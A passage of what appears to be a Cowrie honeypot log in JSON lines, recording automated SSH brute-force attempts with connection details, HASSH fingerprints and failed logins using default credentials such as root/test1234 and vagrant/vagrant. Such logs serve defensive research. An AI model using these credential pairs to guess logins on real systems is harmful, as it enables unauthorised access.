0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:21.603484Z","src_ip":"45.156.87.147","session":"a677461d2d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:21.859729Z","src_ip":"45.156.87.147","session":"a677461d2d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46050,"dst_ip":"10.17.0.5","dst_port":22,"session":"190af12382bc","protocol":"ssh","message":"New connection: 91.92.42.227:46050 (10.17.0.5:22) [session: 190af12382bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:22.087382Z"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:22.845744Z","src_ip":"91.92.42.227","session":"3ea29c322a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:22.943400Z","src_ip":"45.156.87.147","session":"a677461d2d59","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:23.334130Z","src_ip":"91.92.42.227","session":"190af12382bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:23.337713Z","src_ip":"91.92.42.227","session":"190af12382bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:25.878061Z","src_ip":"91.92.42.227","session":"3ea29c322a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33498,"dst_ip":"10.17.0.5","dst_port":22,"session":"30c77f28985f","protocol":"ssh","message":"New connection: 45.156.87.147:33498 (10.17.0.5:22) [session: 30c77f28985f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:27.740283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:27.744896Z","src_ip":"45.156.87.147","session":"30c77f28985f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:27.827448Z","src_ip":"45.156.87.147","session":"30c77f28985f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:28.078847Z","src_ip":"45.156.87.147","session":"30c77f28985f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":41946,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ad39a2aa19","protocol":"ssh","message":"New connection: 80.66.85.226:41946 (10.17.0.5:22) [session: 32ad39a2aa19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:28.136048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:28.140096Z","src_ip":"80.66.85.226","session":"32ad39a2aa19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:28.229611Z","src_ip":"80.66.85.226","session":"32ad39a2aa19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"55555s","message":"login attempt [root/55555s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:28.499475Z","src_ip":"80.66.85.226","session":"32ad39a2aa19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55138,"dst_ip":"10.17.0.5","dst_port":22,"session":"b38c349d7bdb","protocol":"ssh","message":"New connection: 91.92.42.227:55138 (10.17.0.5:22) [session: b38c349d7bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:28.696215Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:29.163281Z","src_ip":"45.156.87.147","session":"30c77f28985f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:29.590633Z","src_ip":"80.66.85.226","session":"32ad39a2aa19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:29.793715Z","src_ip":"91.92.42.227","session":"190af12382bc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:30.043825Z","src_ip":"91.92.42.227","session":"b38c349d7bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:30.049898Z","src_ip":"91.92.42.227","session":"b38c349d7bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:32.648923Z","src_ip":"91.92.42.227","session":"190af12382bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39308,"dst_ip":"10.17.0.5","dst_port":22,"session":"10275875e6f5","protocol":"ssh","message":"New connection: 45.156.87.147:39308 (10.17.0.5:22) [session: 10275875e6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:33.836977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:33.841280Z","src_ip":"45.156.87.147","session":"10275875e6f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:33.925965Z","src_ip":"45.156.87.147","session":"10275875e6f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:34.174829Z","src_ip":"45.156.87.147","session":"10275875e6f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":57946,"dst_ip":"10.17.0.5","dst_port":22,"session":"9506afe75154","protocol":"ssh","message":"New connection: 8.219.200.1:57946 (10.17.0.5:22) [session: 9506afe75154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:34.219106Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:35.261379Z","src_ip":"45.156.87.147","session":"10275875e6f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56108,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec352b5eb523","protocol":"ssh","message":"New connection: 91.92.42.227:56108 (10.17.0.5:22) [session: ec352b5eb523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:35.472466Z"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:36.439304Z","src_ip":"91.92.42.227","session":"b38c349d7bdb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:36.782012Z","src_ip":"91.92.42.227","session":"ec352b5eb523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:36.785294Z","src_ip":"91.92.42.227","session":"ec352b5eb523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:38.941880Z","src_ip":"91.92.42.227","session":"b38c349d7bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38094,"dst_ip":"10.17.0.5","dst_port":22,"session":"93972fd0885f","protocol":"ssh","message":"New connection: 45.156.87.147:38094 (10.17.0.5:22) [session: 93972fd0885f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:39.572182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:39.576073Z","src_ip":"45.156.87.147","session":"93972fd0885f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:39.657468Z","src_ip":"45.156.87.147","session":"93972fd0885f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:39.915505Z","src_ip":"45.156.87.147","session":"93972fd0885f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:41.009726Z","src_ip":"45.156.87.147","session":"93972fd0885f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56182,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ff423e5ea89","protocol":"ssh","message":"New connection: 91.92.42.227:56182 (10.17.0.5:22) [session: 3ff423e5ea89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:41.927132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:43.540915Z","src_ip":"91.92.42.227","session":"3ff423e5ea89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:43.544072Z","src_ip":"91.92.42.227","session":"3ff423e5ea89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:43.848525Z","src_ip":"91.92.42.227","session":"ec352b5eb523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45084,"dst_ip":"159.203.135.109","dst_port":23,"session":"41b6fd9ec967","protocol":"telnet","message":"New connection: 107.6.151.170:45084 (159.203.135.109:23) [session: 41b6fd9ec967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:45.021657Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38130,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f773a8b8b2","protocol":"ssh","message":"New connection: 45.156.87.147:38130 (10.17.0.5:22) [session: 26f773a8b8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:45.675234Z"}
